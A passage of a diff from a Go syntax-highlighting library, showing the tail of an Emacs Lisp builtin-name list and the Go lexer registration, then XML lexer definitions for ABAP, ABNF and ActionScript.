||||
"terminal-coding-system", "terminal-list", "terminal-live-p",
|
||||
"terminal-local-value", "terminal-name", "terminal-parameter",
|
||||
"terminal-parameters", "terpri", "test-completion",
|
||||
"text-char-description", "text-properties-at", "text-property-any",
|
||||
"text-property-not-all", "this-command-keys",
|
||||
"this-command-keys-vector", "this-single-command-keys",
|
||||
"this-single-command-raw-keys", "time-add", "time-less-p",
|
||||
"time-subtract", "tool-bar-get-system-style", "tool-bar-height",
|
||||
"tool-bar-pixel-width", "top-level", "trace-redisplay",
|
||||
"trace-to-stderr", "translate-region-internal", "transpose-regions",
|
||||
"truncate", "try-completion", "tty-display-color-cells",
|
||||
"tty-display-color-p", "tty-no-underline",
|
||||
"tty-suppress-bold-inverse-default-colors", "tty-top-frame",
|
||||
"tty-type", "type-of", "undo-boundary", "unencodable-char-position",
|
||||
"unhandled-file-name-directory", "unibyte-char-to-multibyte",
|
||||
"unibyte-string", "unicode-property-table-internal", "unify-charset",
|
||||
"unintern", "unix-sync", "unlock-buffer", "upcase", "upcase-initials",
|
||||
"upcase-initials-region", "upcase-region", "upcase-word",
|
||||
"use-global-map", "use-local-map", "user-full-name",
|
||||
"user-login-name", "user-real-login-name", "user-real-uid",
|
||||
"user-uid", "variable-binding-locus", "vconcat", "vector",
|
||||
"vector-or-char-table-p", "vectorp", "verify-visited-file-modtime",
|
||||
"vertical-motion", "visible-frame-list", "visited-file-modtime",
|
||||
"w16-get-clipboard-data", "w16-selection-exists-p",
|
||||
"w16-set-clipboard-data", "w32-battery-status",
|
||||
"w32-default-color-map", "w32-define-rgb-color",
|
||||
"w32-display-monitor-attributes-list", "w32-frame-menu-bar-size",
|
||||
"w32-frame-rect", "w32-get-clipboard-data",
|
||||
"w32-get-codepage-charset", "w32-get-console-codepage",
|
||||
"w32-get-console-output-codepage", "w32-get-current-locale-id",
|
||||
"w32-get-default-locale-id", "w32-get-keyboard-layout",
|
||||
"w32-get-locale-info", "w32-get-valid-codepages",
|
||||
"w32-get-valid-keyboard-layouts", "w32-get-valid-locale-ids",
|
||||
"w32-has-winsock", "w32-long-file-name", "w32-reconstruct-hot-key",
|
||||
"w32-register-hot-key", "w32-registered-hot-keys",
|
||||
"w32-selection-exists-p", "w32-send-sys-command",
|
||||
"w32-set-clipboard-data", "w32-set-console-codepage",
|
||||
"w32-set-console-output-codepage", "w32-set-current-locale",
|
||||
"w32-set-keyboard-layout", "w32-set-process-priority",
|
||||
"w32-shell-execute", "w32-short-file-name", "w32-toggle-lock-key",
|
||||
"w32-unload-winsock", "w32-unregister-hot-key", "w32-window-exists-p",
|
||||
"w32notify-add-watch", "w32notify-rm-watch",
|
||||
"waiting-for-user-input-p", "where-is-internal", "widen",
|
||||
"widget-apply", "widget-get", "widget-put",
|
||||
"window-absolute-pixel-edges", "window-at", "window-body-height",
|
||||
"window-body-width", "window-bottom-divider-width", "window-buffer",
|
||||
"window-combination-limit", "window-configuration-frame",
|
||||
"window-configuration-p", "window-dedicated-p",
|
||||
"window-display-table", "window-edges", "window-end", "window-frame",
|
||||
"window-fringes", "window-header-line-height", "window-hscroll",
|
||||
"window-inside-absolute-pixel-edges", "window-inside-edges",
|
||||
"window-inside-pixel-edges", "window-left-child",
|
||||
"window-left-column", "window-line-height", "window-list",
|
||||
"window-list-1", "window-live-p", "window-margins",
|
||||
"window-minibuffer-p", "window-mode-line-height", "window-new-normal",
|
||||
"window-new-pixel", "window-new-total", "window-next-buffers",
|
||||
"window-next-sibling", "window-normal-size", "window-old-point",
|
||||
"window-parameter", "window-parameters", "window-parent",
|
||||
"window-pixel-edges", "window-pixel-height", "window-pixel-left",
|
||||
"window-pixel-top", "window-pixel-width", "window-point",
|
||||
"window-prev-buffers", "window-prev-sibling",
|
||||
"window-redisplay-end-trigger", "window-resize-apply",
|
||||
"window-resize-apply-total", "window-right-divider-width",
|
||||
"window-scroll-bar-height", "window-scroll-bar-width",
|
||||
"window-scroll-bars", "window-start", "window-system",
|
||||
"window-text-height", "window-text-pixel-size", "window-text-width",
|
||||
"window-top-child", "window-top-line", "window-total-height",
|
||||
"window-total-width", "window-use-time", "window-valid-p",
|
||||
"window-vscroll", "windowp", "write-char", "write-region",
|
||||
"x-backspace-delete-keys-p", "x-change-window-property",
|
||||
"x-change-window-property", "x-close-connection",
|
||||
"x-close-connection", "x-create-frame", "x-create-frame",
|
||||
"x-delete-window-property", "x-delete-window-property",
|
||||
"x-disown-selection-internal", "x-display-backing-store",
|
||||
"x-display-backing-store", "x-display-color-cells",
|
||||
"x-display-color-cells", "x-display-grayscale-p",
|
||||
"x-display-grayscale-p", "x-display-list", "x-display-list",
|
||||
"x-display-mm-height", "x-display-mm-height", "x-display-mm-width",
|
||||
"x-display-mm-width", "x-display-monitor-attributes-list",
|
||||
"x-display-pixel-height", "x-display-pixel-height",
|
||||
"x-display-pixel-width", "x-display-pixel-width", "x-display-planes",
|
||||
"x-display-planes", "x-display-save-under", "x-display-save-under",
|
||||
"x-display-screens", "x-display-screens", "x-display-visual-class",
|
||||
"x-display-visual-class", "x-family-fonts", "x-file-dialog",
|
||||
"x-file-dialog", "x-file-dialog", "x-focus-frame", "x-frame-geometry",
|
||||
"x-frame-geometry", "x-get-atom-name", "x-get-resource",
|
||||
"x-get-selection-internal", "x-hide-tip", "x-hide-tip",
|
||||
"x-list-fonts", "x-load-color-file", "x-menu-bar-open-internal",
|
||||
"x-menu-bar-open-internal", "x-open-connection", "x-open-connection",
|
||||
"x-own-selection-internal", "x-parse-geometry", "x-popup-dialog",
|
||||
"x-popup-menu", "x-register-dnd-atom", "x-select-font",
|
||||
"x-select-font", "x-selection-exists-p", "x-selection-owner-p",
|
||||
"x-send-client-message", "x-server-max-request-size",
|
||||
"x-server-max-request-size", "x-server-vendor", "x-server-vendor",
|
||||
"x-server-version", "x-server-version", "x-show-tip", "x-show-tip",
|
||||
"x-synchronize", "x-synchronize", "x-uses-old-gtk-dialog",
|
||||
"x-window-property", "x-window-property", "x-wm-set-size-hint",
|
||||
"xw-color-defined-p", "xw-color-defined-p", "xw-color-values",
|
||||
"xw-color-values", "xw-display-color-p", "xw-display-color-p",
|
||||
"yes-or-no-p", "zlib-available-p", "zlib-decompress-region",
|
||||
"forward-point",
|
||||
}
|
||||
|
||||
emacsBuiltinFunctionHighlighted = []string{
|
||||
"defvaralias", "provide", "require",
|
||||
"with-no-warnings", "define-widget", "with-electric-help",
|
||||
"throw", "defalias", "featurep",
|
||||
}
|
||||
|
||||
emacsLambdaListKeywords = []string{
|
||||
"&allow-other-keys", "&aux", "&body", "&environment", "&key", "&optional",
|
||||
"&rest", "&whole",
|
||||
}
|
||||
|
||||
emacsErrorKeywords = []string{
|
||||
"cl-assert", "cl-check-type", "error", "signal",
|
||||
"user-error", "warn",
|
||||
}
|
||||
)
|
||||
|
||||
// EmacsLisp lexer.
|
||||
var EmacsLisp = Register(TypeRemappingLexer(MustNewXMLLexer(
|
||||
embedded,
|
||||
"embedded/emacslisp.xml",
|
||||
), TypeMapping{
|
||||
{NameVariable, NameFunction, emacsBuiltinFunction},
|
||||
{NameVariable, NameBuiltin, emacsSpecialForms},
|
||||
{NameVariable, NameException, emacsErrorKeywords},
|
||||
{NameVariable, NameBuiltin, append(emacsBuiltinFunctionHighlighted, emacsMacros...)},
|
||||
{NameVariable, KeywordPseudo, emacsLambdaListKeywords},
|
||||
}))
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>ABAP</name>
|
||||
<alias>abap</alias>
|
||||
<filename>*.abap</filename>
|
||||
<filename>*.ABAP</filename>
|
||||
<mime_type>text/x-abap</mime_type>
|
||||
<case_insensitive>true</case_insensitive>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="common">
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="^\*.*$">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="\".*?\n">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="##\w+">
|
||||
<token type="CommentSpecial"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="variable-names">
|
||||
<rule pattern="<\S+>">
|
||||
<token type="NameVariable"/>
|
||||
</rule>
|
||||
<rule pattern="\w[\w~]*(?:(\[\])|->\*)?">
|
||||
<token type="NameVariable"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="root">
|
||||
<rule>
|
||||
<include state="common"/>
|
||||
</rule>
|
||||
<rule pattern="CALL\s+(?:BADI|CUSTOMER-FUNCTION|FUNCTION)">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(CALL\s+(?:DIALOG|SCREEN|SUBSCREEN|SELECTION-SCREEN|TRANSACTION|TRANSFORMATION))\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(FORM|PERFORM)(\s+)(\w+)">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Text"/>
|
||||
<token type="NameFunction"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(PERFORM)(\s+)(\()(\w+)(\))">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Text"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="NameVariable"/>
|
||||
<token type="Punctuation"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(MODULE)(\s+)(\S+)(\s+)(INPUT|OUTPUT)">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Text"/>
|
||||
<token type="NameFunction"/>
|
||||
<token type="Text"/>
|
||||
<token type="Keyword"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(METHOD)(\s+)([\w~]+)">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Text"/>
|
||||
<token type="NameFunction"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(\s+)([\w\-]+)([=\-]>)([\w\-~]+)">
|
||||
<bygroups>
|
||||
<token type="Text"/>
|
||||
<token type="NameVariable"/>
|
||||
<token type="Operator"/>
|
||||
<token type="NameFunction"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(?<=(=|-)>)([\w\-~]+)(?=\()">
|
||||
<token type="NameFunction"/>
|
||||
</rule>
|
||||
<rule pattern="(TEXT)(-)(\d{3})">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="LiteralNumberInteger"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(TEXT)(-)(\w{3})">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="NameVariable"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(ADD-CORRESPONDING|AUTHORITY-CHECK|CLASS-DATA|CLASS-EVENTS|CLASS-METHODS|CLASS-POOL|DELETE-ADJACENT|DIVIDE-CORRESPONDING|EDITOR-CALL|ENHANCEMENT-POINT|ENHANCEMENT-SECTION|EXIT-COMMAND|FIELD-GROUPS|FIELD-SYMBOLS|FUNCTION-POOL|INTERFACE-POOL|INVERTED-DATE|LOAD-OF-PROGRAM|LOG-POINT|MESSAGE-ID|MOVE-CORRESPONDING|MULTIPLY-CORRESPONDING|NEW-LINE|NEW-PAGE|NEW-SECTION|NO-EXTENSION|OUTPUT-LENGTH|PRINT-CONTROL|SELECT-OPTIONS|START-OF-SELECTION|SUBTRACT-CORRESPONDING|SYNTAX-CHECK|SYSTEM-EXCEPTIONS|TYPE-POOL|TYPE-POOLS|NO-DISPLAY)\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(?<![-\>])(CREATE\s+(PUBLIC|PRIVATE|DATA|OBJECT)|(PUBLIC|PRIVATE|PROTECTED)\s+SECTION|(TYPE|LIKE)\s+((LINE\s+OF|REF\s+TO|(SORTED|STANDARD|HASHED)\s+TABLE\s+OF))?|FROM\s+(DATABASE|MEMORY)|CALL\s+METHOD|(GROUP|ORDER) BY|HAVING|SEPARATED BY|GET\s+(BADI|BIT|CURSOR|DATASET|LOCALE|PARAMETER|PF-STATUS|(PROPERTY|REFERENCE)\s+OF|RUN\s+TIME|TIME\s+(STAMP)?)?|SET\s+(BIT|BLANK\s+LINES|COUNTRY|CURSOR|DATASET|EXTENDED\s+CHECK|HANDLER|HOLD\s+DATA|LANGUAGE|LEFT\s+SCROLL-BOUNDARY|LOCALE|MARGIN|PARAMETER|PF-STATUS|PROPERTY\s+OF|RUN\s+TIME\s+(ANALYZER|CLOCK\s+RESOLUTION)|SCREEN|TITLEBAR|UPADTE\s+TASK\s+LOCAL|USER-COMMAND)|CONVERT\s+((INVERTED-)?DATE|TIME|TIME\s+STAMP|TEXT)|(CLOSE|OPEN)\s+(DATASET|CURSOR)|(TO|FROM)\s+(DATA BUFFER|INTERNAL TABLE|MEMORY ID|DATABASE|SHARED\s+(MEMORY|BUFFER))|DESCRIBE\s+(DISTANCE\s+BETWEEN|FIELD|LIST|TABLE)|FREE\s(MEMORY|OBJECT)?|PROCESS\s+(BEFORE\s+OUTPUT|AFTER\s+INPUT|ON\s+(VALUE-REQUEST|HELP-REQUEST))|AT\s+(LINE-SELECTION|USER-COMMAND|END\s+OF|NEW)|AT\s+SELECTION-SCREEN(\s+(ON(\s+(BLOCK|(HELP|VALUE)-REQUEST\s+FOR|END\s+OF|RADIOBUTTON\s+GROUP))?|OUTPUT))?|SELECTION-SCREEN:?\s+((BEGIN|END)\s+OF\s+((TABBED\s+)?BLOCK|LINE|SCREEN)|COMMENT|FUNCTION\s+KEY|INCLUDE\s+BLOCKS|POSITION|PUSHBUTTON|SKIP|ULINE)|LEAVE\s+(LIST-PROCESSING|PROGRAM|SCREEN|TO LIST-PROCESSING|TO TRANSACTION)(ENDING|STARTING)\s+AT|FORMAT\s+(COLOR|INTENSIFIED|INVERSE|HOTSPOT|INPUT|FRAMES|RESET)|AS\s+(CHECKBOX|SUBSCREEN|WINDOW)|WITH\s+(((NON-)?UNIQUE)?\s+KEY|FRAME)|(BEGIN|END)\s+OF|DELETE(\s+ADJACENT\s+DUPLICATES\sFROM)?|COMPARING(\s+ALL\s+FIELDS)?|(INSERT|APPEND)(\s+INITIAL\s+LINE\s+(IN)?TO|\s+LINES\s+OF)?|IN\s+((BYTE|CHARACTER)\s+MODE|PROGRAM)|END-OF-(DEFINITION|PAGE|SELECTION)|WITH\s+FRAME(\s+TITLE)|(REPLACE|FIND)\s+((FIRST|ALL)\s+OCCURRENCES?\s+OF\s+)?(SUBSTRING|REGEX)?|MATCH\s+(LENGTH|COUNT|LINE|OFFSET)|(RESPECTING|IGNORING)\s+CASE|IN\s+UPDATE\s+TASK|(SOURCE|RESULT)\s+(XML)?|REFERENCE\s+INTO|AND\s+(MARK|RETURN)|CLIENT\s+SPECIFIED|CORRESPONDING\s+FIELDS\s+OF|IF\s+FOUND|FOR\s+EVENT|INHERITING\s+FROM|LEAVE\s+TO\s+SCREEN|LOOP\s+AT\s+(SCREEN)?|LOWER\s+CASE|MATCHCODE\s+OBJECT|MODIF\s+ID|MODIFY\s+SCREEN|NESTING\s+LEVEL|NO\s+INTERVALS|OF\s+STRUCTURE|RADIOBUTTON\s+GROUP|RANGE\s+OF|REF\s+TO|SUPPRESS DIALOG|TABLE\s+OF|UPPER\s+CASE|TRANSPORTING\s+NO\s+FIELDS|VALUE\s+CHECK|VISIBLE\s+LENGTH|HEADER\s+LINE|COMMON\s+PART)\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(^|(?<=(\s|\.)))(ABBREVIATED|ABSTRACT|ADD|ALIASES|ALIGN|ALPHA|ASSERT|AS|ASSIGN(ING)?|AT(\s+FIRST)?|BACK|BLOCK|BREAK-POINT|CASE|CATCH|CHANGING|CHECK|CLASS|CLEAR|COLLECT|COLOR|COMMIT|CREATE|COMMUNICATION|COMPONENTS?|COMPUTE|CONCATENATE|CONDENSE|CONSTANTS|CONTEXTS|CONTINUE|CONTROLS|COUNTRY|CURRENCY|DATA|DATE|DECIMALS|DEFAULT|DEFINE|DEFINITION|DEFERRED|DEMAND|DETAIL|DIRECTORY|DIVIDE|DO|DUMMY|ELSE(IF)?|ENDAT|ENDCASE|ENDCATCH|ENDCLASS|ENDDO|ENDFORM|ENDFUNCTION|ENDIF|ENDINTERFACE|ENDLOOP|ENDMETHOD|ENDMODULE|ENDSELECT|ENDTRY|ENDWHILE|ENHANCEMENT|EVENTS|EXACT|EXCEPTIONS?|EXIT|EXPONENT|EXPORT|EXPORTING|EXTRACT|FETCH|FIELDS?|FOR|FORM|FORMAT|FREE|FROM|FUNCTION|HIDE|ID|IF|IMPORT|IMPLEMENTATION|IMPORTING|IN|INCLUDE|INCLUDING|INDEX|INFOTYPES|INITIALIZATION|INTERFACE|INTERFACES|INTO|LANGUAGE|LEAVE|LENGTH|LINES|LOAD|LOCAL|JOIN|KEY|NEXT|MAXIMUM|MESSAGE|METHOD[S]?|MINIMUM|MODULE|MODIFIER|MODIFY|MOVE|MULTIPLY|NODES|NUMBER|OBLIGATORY|OBJECT|OF|OFF|ON|OTHERS|OVERLAY|PACK|PAD|PARAMETERS|PERCENTAGE|POSITION|PROGRAM|PROVIDE|PUBLIC|PUT|PF\d\d|RAISE|RAISING|RANGES?|READ|RECEIVE|REDEFINITION|REFRESH|REJECT|REPORT|RESERVE|RESUME|RETRY|RETURN|RETURNING|RIGHT|ROLLBACK|REPLACE|SCROLL|SEARCH|SELECT|SHIFT|SIGN|SINGLE|SIZE|SKIP|SORT|SPLIT|STATICS|STOP|STYLE|SUBMATCHES|SUBMIT|SUBTRACT|SUM(?!\()|SUMMARY|SUMMING|SUPPLY|TABLE|TABLES|TIMESTAMP|TIMES?|TIMEZONE|TITLE|\??TO|TOP-OF-PAGE|TRANSFER|TRANSLATE|TRY|TYPES|ULINE|UNDER|UNPACK|UPDATE|USING|VALUE|VALUES|VIA|VARYING|VARY|WAIT|WHEN|WHERE|WIDTH|WHILE|WITH|WINDOW|WRITE|XSD|ZERO)\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(abs|acos|asin|atan|boolc|boolx|bit_set|char_off|charlen|ceil|cmax|cmin|condense|contains|contains_any_of|contains_any_not_of|concat_lines_of|cos|cosh|count|count_any_of|count_any_not_of|dbmaxlen|distance|escape|exp|find|find_end|find_any_of|find_any_not_of|floor|frac|from_mixed|insert|lines|log|log10|match|matches|nmax|nmin|numofchar|repeat|replace|rescale|reverse|round|segment|shift_left|shift_right|sign|sin|sinh|sqrt|strlen|substring|substring_after|substring_from|substring_before|substring_to|tan|tanh|to_upper|to_lower|to_mixed|translate|trunc|xstrlen)(\()\b">
|
||||
<bygroups>
|
||||
<token type="NameBuiltin"/>
|
||||
<token type="Punctuation"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="&[0-9]">
|
||||
<token type="Name"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9]+">
|
||||
<token type="LiteralNumberInteger"/>
|
||||
</rule>
|
||||
<rule pattern="(?<=(\s|.))(AND|OR|EQ|NE|GT|LT|GE|LE|CO|CN|CA|NA|CS|NOT|NS|CP|NP|BYTE-CO|BYTE-CN|BYTE-CA|BYTE-NA|BYTE-CS|BYTE-NS|IS\s+(NOT\s+)?(INITIAL|ASSIGNED|REQUESTED|BOUND))\b">
|
||||
<token type="OperatorWord"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="variable-names"/>
|
||||
</rule>
|
||||
<rule pattern="[?*<>=\-+&]">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="'(''|[^'])*'">
|
||||
<token type="LiteralStringSingle"/>
|
||||
</rule>
|
||||
<rule pattern="`([^`])*`">
|
||||
<token type="LiteralStringSingle"/>
|
||||
</rule>
|
||||
<rule pattern="([|}])([^{}|]*?)([|{])">
|
||||
<bygroups>
|
||||
<token type="Punctuation"/>
|
||||
<token type="LiteralStringSingle"/>
|
||||
<token type="Punctuation"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="[/;:()\[\],.]">
|
||||
<token type="Punctuation"/>
|
||||
</rule>
|
||||
<rule pattern="(!)(\w+)">
|
||||
<bygroups>
|
||||
<token type="Operator"/>
|
||||
<token type="Name"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>ABNF</name>
|
||||
<alias>abnf</alias>
|
||||
<filename>*.abnf</filename>
|
||||
<mime_type>text/x-abnf</mime_type>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="root">
|
||||
<rule pattern=";.*$">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="(%[si])?"[^"]*"">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="%b[01]+\-[01]+\b">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="%b[01]+(\.[01]+)*\b">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="%d[0-9]+\-[0-9]+\b">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="%d[0-9]+(\.[0-9]+)*\b">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="%x[0-9a-fA-F]+\-[0-9a-fA-F]+\b">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="%x[0-9a-fA-F]+(\.[0-9a-fA-F]+)*\b">
|
||||
<token type="Literal"/>
|
||||
</rule>
|
||||
<rule pattern="\b[0-9]+\*[0-9]+">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\b[0-9]+\*">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\b[0-9]+">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\*">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="(HEXDIG|DQUOTE|DIGIT|VCHAR|OCTET|ALPHA|CHAR|CRLF|HTAB|LWSP|BIT|CTL|WSP|LF|SP|CR)\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="[a-zA-Z][a-zA-Z0-9-]+\b">
|
||||
<token type="NameClass"/>
|
||||
</rule>
|
||||
<rule pattern="(=/|=|/)">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="[\[\]()]">
|
||||
<token type="Punctuation"/>
|
||||
</rule>
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern=".">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>ActionScript</name>
|
||||
<alias>as</alias>
|
||||
<alias>actionscript</alias>
|
||||
<filename>*.as</filename>
|
||||
<mime_type>application/x-actionscript</mime_type>
|
||||
<mime_type>text/x-actionscript</mime_type>
|
||||
<mime_type>text/actionscript</mime_type>
|
||||
<dot_all>true</dot_all>
|
||||
<not_multiline>true</not_multiline>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="root">
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="//.*?\n">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="/\*.*?\*/">
|
||||
<token type="CommentMultiline"/>
|
||||
</rule>
|
||||
<rule pattern="/(\\\\|\\/|[^/\n])*/[gim]*">
|
||||
<token type="LiteralStringRegex"/>
|
||||
</rule>
|
||||
<rule pattern="[~^*!%&<>|+=:;,/?\\-]+">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="[{}\[\]();.]+">
|
||||
<token type="Punctuation"/>
|
||||
</rule>
|
||||
<rule pattern="(instanceof|arguments|continue|default|typeof|switch|return|catch|break|while|throw|each|this|with|else|case|var|new|for|try|if|do|in)\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(implements|protected|namespace|interface|intrinsic|override|function|internal|private|package|extends|dynamic|import|native|return|public|static|class|const|super|final|get|set)\b">
|
||||
<token type="KeywordDeclaration"/>
|
||||
</rule>
|
||||
<rule pattern="(true|false|null|NaN|Infinity|-Infinity|undefined|Void)\b">
|
||||
<token type="KeywordConstant"/>
|
||||
</rule>
|
||||
<rule pattern="(IDynamicPropertyOutputIDynamicPropertyWriter|DisplacmentMapFilterMode|AccessibilityProperties|ContextMenuBuiltInItems|SharedObjectFlushStatus|DisplayObjectContainer|IllegalOperationError|DisplacmentMapFilter|InterpolationMethod|URLLoaderDataFormat|PrintJobOrientation|ActionScriptVersion|BitmapFilterQuality|GradientBevelFilter|GradientGlowFilter|DeleteObjectSample|StackOverflowError|SoundLoaderContext|ScriptTimeoutError|SecurityErrorEvent|InteractiveObject|StageDisplayState|FileReferenceList|TextFieldAutoSize|ApplicationDomain|BitmapDataChannel|ColorMatrixFilter|ExternalInterface|IMEConversionMode|DropShadowFilter|URLRequestHeader|ContextMenuEvent|ConvultionFilter|URLRequestMethod|BitmapFilterType|IEventDispatcher|ContextMenuItem|LocalConnection|InvalidSWFError|AsyncErrorEvent|MovieClipLoader|IBitmapDrawable|PrintJobOptions|EventDispatcher|NewObjectSample|HTTPStatusEvent|TextFormatAlign|IExternalizable|FullScreenEvent|DefinitionError|TextLineMetrics|NetStatusEvent|ColorTransform|ObjectEncoding|SecurityDomain|StageScaleMode|FocusDirection|ReferenceError|SoundTransform|KeyboardEvent|DisplayObject|PixelSnapping|LoaderContext|NetConnection|SecurityPanel|SecurityError|FileReference|AsBroadcaster|LineScaleMode|AntiAliasType|Accessibility|TextFieldType|URLVariabeles|ActivityEvent|ProgressEvent|TextColorType|StageQuality|TextSnapshot|Capabilities|BitmapFilter|SpreadMethod|GradientType|TextRenderer|SoundChannel|SharedObject|IOErrorEvent|SimpleButton|ContextMenu|InvokeEvent|CSMSettings|SyntaxError|StatusEvent|KeyLocation|IDataOutput|VerifyError|XMLDocument|XMLNodeType|MemoryError|GridFitType|BevelFilter|ErrorEvent|FrameLabel|GlowFilter|LoaderInfo|Microphone|MorphShape|BlurFilter|MouseEvent|FocusEvent|SoundMixer|FileFilter|TimerEvent|JointStyle|EventPhase|StageAlign|Dictionary|URLRequest|StyleSheet|SWFVersion|IDataInput|StaticText|RangeError|BitmapData|TextFormat|StackFrame|Namespace|SyncEvent|Rectangle|URLLoader|TypeError|Responder|NetStream|BlendMode|CapsStyle|DataEvent|ByteArray|MovieClip|Transform|TextField|Selection|AVM1Movie|XMLSocket|URLStream|FontStyle|EvalError|FontType|LoadVars|Graphics|Security|IMEEvent|URIError|Keyboard|Function|EOFError|PrintJob|IOError|XMLList|Boolean|ID3Info|XMLNode|Bitmap|String|RegExp|Sample|Object|Sprite|System|Endian|Matrix|Camera|Locale|Number|Loader|Socket|QName|Class|Timer|Sound|Shape|XMLUI|Mouse|Scene|Stage|Color|Point|Video|Error|Event|Proxy|Array|Date|uint|Math|Font|int|Key|IME|XML)\b">
|
||||
<token type="NameBuiltin"/>
|
||||
</rule>
|
||||
<rule pattern="(decodeURIComponent|updateAfterEvent|clearInterval|setInterval|getVersion|parseFloat|fscommand|isXMLName|encodeURI|decodeURI|getTimer|unescape|isFinite|parseInt|getURL|escape|trace|isNaN|eval)\b">
|
||||
<token type="NameFunction"/>
|
||||
</rule>
|
||||
<rule pattern="[$a-zA-Z_]\w*">
|
||||
<token type="NameOther"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?">
|
||||
<token type="LiteralNumberFloat"/>
|
||||
</rule>
|
||||
<rule pattern="0x[0-9a-f]+">
|
||||
<token type="LiteralNumberHex"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9]+">
|
||||
<token type="LiteralNumberInteger"/>
|
||||
</rule>
|
||||
<rule pattern=""(\\\\|\\"|[^"])*"">
|
||||
<token type="LiteralStringDouble"/>
|
||||
</rule>
|
||||
<rule pattern="'(\\\\|\\'|[^'])*'">
|
||||
<token type="LiteralStringSingle"/>
|
||||
</rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>ActionScript 3</name>
|
||||
<alias>as3</alias>
|
||||
<alias>actionscript3</alias>
|
||||
<filename>*.as</filename>
|
||||
<mime_type>application/x-actionscript3</mime_type>
|
||||
<mime_type>text/x-actionscript3</mime_type>
|
||||
<mime_type>text/actionscript3</mime_type>
|
||||
<dot_all>true</dot_all>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="funcparams">
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="(\s*)(\.\.\.)?([$a-zA-Z_]\w*)(\s*)(:)(\s*)([$a-zA-Z_]\w*(?:\.<\w+>)?|\*)(\s*)">
|
||||
<bygroups>
|
||||
<token type="Text"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="Name"/>
|
||||
<token type="Text"/>
|
||||
<token type="Operator"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordType"/>
|
||||
<token type="Text"/>
|
||||
</bygroups>
|
||||
<push state="defval"/>
|
||||
</rule>
|
||||
<rule pattern="\)">
|
||||
<token type="Operator"/>
|
||||
